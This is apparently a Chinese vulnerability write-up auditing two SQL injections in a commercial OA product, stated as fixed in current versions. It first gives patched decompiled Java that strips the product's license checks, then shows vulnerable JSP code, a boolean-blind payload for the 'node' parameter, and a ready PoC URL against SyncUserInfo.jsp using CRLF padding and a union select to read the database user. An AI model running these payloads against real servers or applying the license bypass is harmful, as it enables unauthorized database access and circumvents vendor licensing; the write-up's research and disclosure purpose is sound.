以下两个SQL注入最新版本均已修复。虽然漏洞比较水,一眼就看的出但还是记录一下。源码审计,还是想搭下相应的环境对漏洞复现更能直观反映,发现其要导入相应的license证书才能正常使用。看了下证书的生成发现没有私钥绕不过(太菜了),那只能用暴力方法把源代码校验方法给改了。
主要改两个文件:
1.classbean/api/login/util/LoginUtil.class
的beforeCheckUser
函数修改
private String beforeCheckUser(HttpServletRequest var1, HttpServletResponse var2) { RecordSet var3 = new RecordSet(); StaticObj var4 = StaticObj.getInstance(); Calendar var5 = Calendar.getInstance(); String var6 = Util.add0(var5.get(1), 4) + "-" + Util.add0(var5.get(2) + 1, 2) + "-" + Util.add0(var5.get(5), 2); try { String var7 = Util.null2String(var1.getParameter("loginid")); String var8 = Util.null2String(var1.getParameter("logintype"), "1"); String var9 = Util.null2String(var1.getParameter("validatecode")); if (!this.checkLoginType(var7, var8)) { return "16"; } else if (!this.checkIpSegByForbidLogin(var1, var7) && this.checkIsNeedIp(var7)) { return "88"; } else { ChgPasswdReminder var10 = new ChgPasswdReminder(); RemindSettings var11 = var10.getRemindSettings(); int var12 = var11.getNeedvalidate(); String var13 = Util.null2String((String)var1.getSession(true).getAttribute("validateRand")).trim(); if (var13.length() == 0) { String var14 = Util.null2String(var1.getParameter("validateCodeKey")); if (var14.length() > 0) { var13 = Util.null2String(Util_DataMap.getObjVal(var14)); Util_DataMap.clearVal(var14); } } int var26 = var11.getNumvalidatewrong(); byte var15 = 0; boolean var16 = (new VerifyPasswdCheck()).getUserCheck(var7, "", 1); if (var16) { return "110"; } else { var3.executeQuery("select isADAccount from hrmresource where loginid=?", new Object[]{var7}); if (var3.next()) { this.isADAccount = var3.getString("isADAccount"); } if (var7.indexOf(";") <= -1 && var7.indexOf("--") <= -1 && var7.indexOf(" ") <= -1 && var7.indexOf("'") <= -1) { String var17 = (String)var4.getObject("isLicense"); LN var18 = new LN(); try { var4.putObject("isLicense", "true"); } catch (Exception var24) { var4.putObject("isLicense", "true"); } String var19 = Util.null2String(var18.getConcurrentFlag()); int var20 = Util.getIntValue(var18.getHrmnum()); if ("1".equals(var19)) { LicenseCheckLogin var21 = new LicenseCheckLogin(); if (var21.getLicUserCheck(var7, var20)) { this.recordFefuseLogin(var7); return "26"; } } if (var8.equals("1") && var12 == 1) { if (var13.trim().equals("") || "".equals(var9.trim())) { return "52"; } if (var15 >= var26 && !var13.toLowerCase().equals(var9.trim().toLowerCase())) { return "52"; } } String var27 = (String)var4.getObject("software"); String var22 = "n"; String var23 = "n"; if (var27 == null) { var3.executeQuery("select * from license", new Object[0]); if (var3.next()) { var27 = var3.getString("software"); if (var27.equals("")) { var27 = "ALL"; } var4.putObject("software", var27); var22 = var3.getString("portal"); if (var22.equals("")) { var22 = "n"; } var4.putObject("portal", var22); var23 = var3.getString("multilanguage"); if (var23.equals("")) { var23 = "n"; } var4.putObject("multilanguage", var23); } } return ""; } else { return "16"; } } } } catch (Exception var25) { return "-1"; } }
2.classbean/weaver/login/LicenseCheckLogin.class
的getLicUserCheck函数修改:
public boolean getLicUserCheck(String var1, int var2) { boolean var3 = true; if (!"sysadmin".equals(var1)) { int var4 = this.checkUserLoginCount(); if (var4 >= var2) { var3 = true; } } return var3; }
修改完后重编译替换原来的文件,服务再重启下就可以绕过了。
漏洞参数node
<% String node=Util.null2String(request.getParameter("node")); String arrNode[]=Util.TokenizerString2(node,"_"); String type=arrNode[0]; String value=arrNode[1]; String scope = Util.null2String(request.getParameter("scope")); String typeids=""; String flowids=""; String nodeids=""; ArrayList typeidList=new ArrayList(); ArrayList flowidList=new ArrayList(); ArrayList nodeidList=new ArrayList(); rs.executeSql("select * from mobileconfig where mc_type=5 and mc_scope="+scope+" and mc_name='typeids' "); if(rs.next()){ typeids=Util.null2String(rs.getString("mc_value")); typeidList=Util.TokenizerString(typeids,","); } rs.executeSql("select * from mobileconfig where mc_type=5 and mc_scope="+scope+" and mc_name='flowids' "); if(rs.next()){ flowids=Util.null2String(rs.getString("mc_value")); flowidList=Util.TokenizerString(flowids,","); } rs.executeSql("select * from mobileconfig where mc_type=5 and mc_scope="+scope+" and mc_name='nodeids' "); if(rs.next()){ nodeids=Util.null2String(rs.getString("mc_value")); nodeidList=Util.TokenizerString(nodeids,","); } JSONArray jsonArrayReturn= new JSONArray(); if("root".equals(type)){ //主目录下的数据 WorkTypeComInfo wftc=new WorkTypeComInfo(); while(wftc.next()){ JSONObject jsonTypeObj=new JSONObject(); String wfTypeId=wftc.getWorkTypeid(); String wfTypeName=wftc.getWorkTypename(); //if("1".equals(wfTypeId)) continue; jsonTypeObj.put("id","wftype_"+wfTypeId); jsonTypeObj.put("text",wfTypeName); if(!typeidList.contains(wfTypeId)){ jsonTypeObj.put("checked",false); } else { jsonTypeObj.put("checked",true); jsonTypeObj.put("expanded",true); } jsonTypeObj.put("draggable",false); jsonTypeObj.put("leaf",false); jsonArrayReturn.put(jsonTypeObj); } } else if ("wftype".equals(type)){ rs.executeSql("select id,workflowname from workflow_base where isvalid='1' and workflowtype="+value); while (rs.next()){ JSONObject jsonWfObj=new JSONObject(); String wfId=Util.null2String(rs.getString("id")); String wfName=Util.null2String(rs.getString("workflowname")); jsonWfObj.put("id","wf_"+wfId); jsonWfObj.put("text",wfName); jsonWfObj.put("draggable",false); if(!flowidList.contains(wfId)){ jsonWfObj.put("checked",false); } else { jsonWfObj.put("checked",true); jsonWfObj.put("expanded",true); } jsonWfObj.put("leaf",true); jsonArrayReturn.put(jsonWfObj); }
如上代码服务端接受前端传入的问题参数node
,将node
以_
为分隔符将node
分为两个部分分别赋值给type
和value
两个参数,在rs.executesql()
处将value值直接拼接入sql语句执行数据库操作,并将查询结果以json格式返回。
漏洞复现:
抓取数据包,构造payloadscope=1&node=wftype_5/if(ascii(substr(user(),1,1))=114,1,0)
判断数据库用户名第一个字符的ascii码,if条件为真返回1,执行5/1,返回相应数据如下所示:
判断错误,if条件为假返回0,执行5/0,0不能为除数,数据库执行错误无数据返回,如下所示:
跟进ps.syncUserInfo(userIdentifiers);
发现直接拼接进入sql语句造成sql注入:
漏洞复现进行联合注入:
poc
/mobile/plugin/SyncUserInfo.jsp?userIdentifiers=1,2%29%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0dunion%20select%201%2C2%2C3%2C4%2Cuser()%2C6%2C7%2C8%20order%20by%208%23